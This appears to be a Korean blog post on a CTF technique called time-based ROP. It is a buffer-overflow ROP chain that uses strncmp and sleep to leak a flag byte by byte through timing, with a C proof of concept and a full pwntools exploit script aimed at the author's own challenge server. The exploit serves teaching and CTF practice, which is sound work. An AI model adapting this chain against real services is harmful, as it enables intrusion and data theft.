Time Based ROP

pwnable.tw에 kidding이라는 문제가 있다. stdin, stdout, stderror fd를 닫아버리기 때문에 리버스 쉘을 통하여 연결하면된다.
하지만 서버측에 있는 바이너리 데몬이 외부 네트워크에 접근할 수 없는 상황이면 어떻게 할것인가?
위와 같은 상황은 CTF보다 리얼월드에서 많이 발생한다. (클라우드 인스턴스 여러개 만들어가지고 내부적으로 물리고 ..)
까먹고 있다가 목욕을 하다가 문득 생각이 났다.
ROP를 통해 파일의 내용을 읽을때 SQLI 기술중 하나인 time based sql injection을 적용시켜보았다.

글쓰는것을 미루고 미루다 Exploiting Timed Based RCE – Security Café 를 읽고 쓰게되었다.

ROP 테크닉은 무척 간단하다.

  1. pop rdi, pop rsi, pop idx, retn 으로 레지스터를 초기화 시킨다.
  2. strncmp를 호출한다.
  3. rax를 rdi로 복사한다.
  4. sleep을 호출한다.

위 로직을 증명하기 위해 다음 코드가 사용되었다.

PoC 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    char dest[] = "MyNameIsJunoIm";
    char oneByteChar = 'L';
    int result;
    int t1, t2;

    printf("dest string -> %s\n", dest);
    printf("give me one byte: ");
    scanf("%c", &oneByteChar);

    result = strncmp(dest, &oneByteChar, 1);

    printf("result - > %d\n", result);

    t1 = time(0);
    sleep(result);
    t2 = time(0);

    printf("running time - > %d\n", t2-t1);

    return 0;
}

정상적으로 작동하나 싶었는데.. 문제로 만들었더니 몇가지 오류가 생겼다..

우선 fd를 닫고 sleep하는것은 로컬에서만 되었다. 이럴꺼면 system("ls -al > /tmp/ls_result.txt")하고말지..

바이너리 데몬으로 실행하면,,

EOF 에러남 …

이렇기에 sleep여부를 판별하기 위한 race condition을 추가할 수 밖에 없었다. 그래서 문제에 의도적인 부분을 추가하기로 했다.

Full SourceCode, Binary 는 example, example.c 를 보시면 됩니다.

PoC 2

from pwn import *
import string
import random
import time

my_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
my_id += 'f'

print my_id
a1 = time.time()

r = remote("junan.io", 6974)
r2 = remote("junan.io", 6974)
r3 = remote("junan.io", 6974)

r.recvuntil('Input ID: ')
r.sendline(my_id)
r.recvuntil('Input key: ')
r.sendline("65b42f7d71f9fb31d824c28b8943ad94")
r.recvuntil("Welcome: ")

strncmp = 0x00000000004008C8
p_rdi = 0x0000000000400AAE
sleep = 0x0000000000400958
flag = 0x00000000006020A0

go_sleep = 0x0000000000400E00

payload = "A"*272
payload += p64(0x000000000060229D) # rbp

payload += p64(p_rdi) # for sleep
payload += p64(0x1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

payload += p64(sleep)

payload += p64(p_rdi)
payload += p64(flag)
payload += p64(0x0000000000602060+15) # time based rop
# 0x0000000000602060+15
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)

payload += p64(strncmp)

payload += p64(go_sleep)

print len(payload)

r.sendline(payload)
time.sleep(0.1)

r2.sendline(my_id)

r3.recvuntil('Input ID: ')
time.sleep(1)
r3.sendline(my_id)
try:
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
r3.sendline("AAAA")
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
print ("Found !")
except:
print ("No")

r.recv()

print time.time() - a1

첫글자인 f 를 찾은 모습이다.

Example Challenge

nc junan.io 6974

성공적으로 flag를 얻어내셨다면 junorouse@gmail.com 으로 exploit 코드를 보내주세요.


업데이트

2018-06-03 글을 옮기다 time based side channel attack rop 문제가 여럿 보였던 기억이 었어서 기분이 좋네요 ㅎㅅㅎ

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.